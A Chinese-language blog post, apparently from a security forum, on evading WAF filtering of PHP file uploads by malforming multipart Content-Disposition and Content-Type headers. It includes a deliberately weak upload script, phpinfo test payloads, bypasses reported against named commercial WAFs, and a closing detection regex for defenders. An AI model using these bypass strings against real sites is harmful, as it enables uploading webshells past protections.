Author:JoyChou
Date:20180613
1. 前言
本文的測試環境均為
- nginx/1.10.3
- PHP 5.5.34
有些特性和 語言及webserver有關,有問題的地方,歡迎大家指正。
2. 文件上傳的特征
先來了解下文件上傳的特征,抓包看看這段文件上傳代碼的HTTP請求。
upload.php
<?php
if(isset($_POST['submit_x'])){ $upfile = $_FILES['filename']['name']; $tempfile = $_FILES['filename']['tmp_name']; $ext = trim(get_extension($upfile)); // 判斷文件后綴是否為數組里的值 if(in_array($ext,array('xxx'))){ die('Warning! File type error..'); } $savefile = 'upload/' . $upfile; if(move_uploaded_file($tempfile, $savefile)){ die('Upload success! FileName: '.$savefile); }else{ die('Upload failed..'); } } // 獲取文件后綴名,並轉為小寫 function get_extension($file){ return strtolower(substr($file, strrpos($file, '.')+1)); } ?> <html> <body> <form method="post" action="#" enctype="multipart/form-data"> <input type="file" name="file_x" value=""/> <input type="submit" name="submit_x" value="upload"/> </form> </body> </html>
請求
POST /upload.php HTTP/1.1 Host: localhost Content-Length: 274 Cache-Control: max-age=0 Origin: http://localhost Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuKS18BporicXJfTx User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.8,de;q=0.6,en;q=0.4,fr;q=0.2 Connection: close ------WebKitFormBoundaryuKS18BporicXJfTx Content-Disposition: form-data; name="file_x"; filename="xx.php" <?php phpinfo(); ?> ------WebKitFormBoundaryuKS18BporicXJfTx Content-Disposition: form-data; name="submit_x" upload ------WebKitFormBoundaryuKS18BporicXJfTx--
從中獲取特征為:
- 請求Header中Content-Type存在以下特征:
multipart/form-data
(表示該請求是一個文件上傳請求)- 存在boundary字符串(作用為分隔符,以區分POST數據)
- POST的內容存在以下特征:
- Content-Disposition
- name
- filename
- POST中的boundary的值就是Content-Type的值在最前面加了兩個
--
,除了最后標識結束的boundary - 最后標識結束的boundary最后默認會多出兩個
--
(測試時,最后一行的boundary刪掉也能成功上傳)
3. WAF如何攔截
先來想想,如果自己寫WAF來防御惡意文件上傳。你應該如何防御?
- 文件名
- 解析文件名,判斷是否在黑名單內。
- 文件內容
- 解析文件內容,判斷是否為webshell。
- 文件目錄權限
- 該功能需要主機WAF實現,比如我見過的雲鎖。
目前,市面上常見的是解析文件名,少數WAF是解析文件內容,比如長亭。下面內容,都是基於文件名解析。
大致步驟如下:
- 獲取Request Header里的
Content-Type
值中獲取boundary值 - 根據第一步的boundary值,解析POST數據,獲取文件名
- 判斷文件名是否在攔截黑名單內
看看春哥寫的這個解析文件上傳的代碼,就能理解了,不過這份代碼已經沒維護了。但是這份代碼解析了文件名,只是繞過方式比較多。
lua-resty-upload這份代碼還在維護,不過只是取了內容,文件名需要自己解析。
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="xx.php" Content-Type: text/javascript <?php phpinfo(); ?> ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="submit_x" upload ------WebKitFormBoundaryj1oRYFW91eaj8Ex2--
返回
read: ["header",["Content-Disposition","form-data; name=\"file_x\"; filename=\"xx.php\"","Content-Disposition: form-data; name=\"file_x\"; filename=\"xx.php\""]] read: ["header",["Content-Type","text\/javascript","Content-Type: text\/javascript"]] read: ["body","<?php phpinfo(); ?>"] read: ["part_end"] read: ["header",["Content-Disposition","form-data; name=\"submit_x\"","Content-Disposition: form-data; name=\"submit_x\""]] read: ["body","upload"] read: ["part_end"] read: ["eof"] read: ["eof"]
4. 繞過
獲取文件名的地方在Content-Disposition: form-data; name="file_x"; filename="xx.php"
和Content-Type里,所以繞過的地方也就在這兩個地方了。
4.1 去掉引號
Content-Disposition: form-data; name=file_x; filename="xx.php" Content-Disposition: form-data; name=file_x; filename=xx.php Content-Disposition: form-data; name="file_x"; filename=xx.php
4.2 雙引號變成單引號
Content-Disposition: form-data; name='file_x'; filename='xx.php'
單引號、雙引號、不要引號,都能上傳。
4.3 大小寫
對這三個固定的字符串進行大小寫轉換
- Content-Disposition
- name
- filename
比如name轉換成Name,Content-Disposition轉換成content-disposition。兩年前,拿它繞過安全狗的上傳,不知道現在如何。
4.4 空格
在:
;
=
添加1個或者多個空格,不過測試只有filename在=
前面添加空格,上傳失敗。
在filename=后面添加空格,截止到2017年10月04日還能繞過某盾WAF。
4.5 去掉或修改Content-Disposition值
有的WAF在解析的時候,認為Content-Disposition
值一定是form-data
,造成繞過。兩年前,拿它繞過安全狗的上傳,不知道現在如何。
Content-Disposition: name='file_x'; filename='xx.php'
4.6 交換name和filename的順序
規定Content-Disposition必須在最前面,所以只能交換name和filename的順序。
有的WAF可能會匹配name在前面,filename在后面,所以下面姿勢會導致Bypass。
Content-Disposition: form-data; filename="xx.php"; name=file_x
4.7 多個boundary
最后上傳的文件是test.php而非test.txt,但是取的文件名只取了第一個就會被Bypass。
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.txt" Content-Type: text/javascript <?php phpinfo(); ?> ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.php" Content-Type: text/javascript <?php phpinfo(); ?> ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="submit_x" upload ------WebKitFormBoundaryj1oRYFW91eaj8Ex2--
4.8 多個filename
最終上傳成功的文件名是test.php。但是由於解析文件名時,會解析到第一個。正則默認都會匹配到第一個。
Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php"
4.9 多個分號
文件解析時,可能解析不到文件名,導致繞過。
Content-Disposition: form-data; name="file_x";;; filename="test.php"
4.10 multipart/form-DATA
這種繞過應該很少,大多數都會忽略大小寫。php和java都支持。
Content-Type: multipart/form-DATA
4.11 Header在boundary前添加任意字符
這個只能說,PHP很皮,這都支持。試了JAVA會報錯。
Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2
4.12 filename換行
PHP支持,Java不支持。截止到2017年10月18日,這個方法能繞過某盾。
Content-Disposition: form-data; name="file_x"; file name="test.php"
這種PHP也支持。
fi
lename
4.13 name和filename添加任意字符串
PHP上傳成功,Java上傳失敗。
Content-Disposition: name="file_x"; bypass waf upload; filename="test.php";
4.14 其他
其他利用系統特性的就不描述了,不是本文重點。有興趣可以看下我的Waf Bypass之道(upload篇)
5. 案例測試
5.1 某盾
測試了某盾WAF對惡意文件上傳的攔截。方法比較粗暴,判斷如下:
- 判斷POST數據是否存在
Content-Disposition:
字符串 - 判斷filename的文件名是否在黑名單內
兩者滿足就攔截,沒有做其他多余的判斷,正則也很好寫。
測試:curl -v -d "Content-Disposition:filename=xx.php;" yq.aliyun.com
攔截
這種方式確實有誤攔截情況。不過截止到2017年10月04日,某盾的上傳還是能夠通過在filename=
后面添加空格進行繞過。
POC:Content-Disposition: form-data; name="file_x"; filename= "xx.php";
下面這種也能繞過。
Content-Disposition: form-data; name="file_x"; file name="test.php"
5.2 ucloud
先找一個用了UCloud WAF的網站測試。
攔截
Content-Disposition: form-data; name="file_x";filename="xx.php"
去掉form-data繞過
Content-Disposition: name="file_x";filename="xx.php"
其他的就不測試了…
6. How to Play
看了這么多,那規則到底應該如何寫。我個人想法如下:
- 由於是文件上傳,所以必須有Content-Type: multipart/form-data,先判斷這個是否存在。
- POST數據去掉所有換行,匹配是否有
Content-Disposition:.*filename\s*=\s*(.*php)
類似的規則。
這只是我的個人想法,如果有更好的想法,歡迎交流討論。
7. Reference
i春秋推出優享會員制,開通會員可以免費暢享多類課程、實驗、CTF賽題等付費內容,並可享有包括會員日專屬福利、就業推薦等多種特權福利,更多活動詳情可點擊:https://bbs.ichunqiu.com/thread-40795-1-1.html了解哦~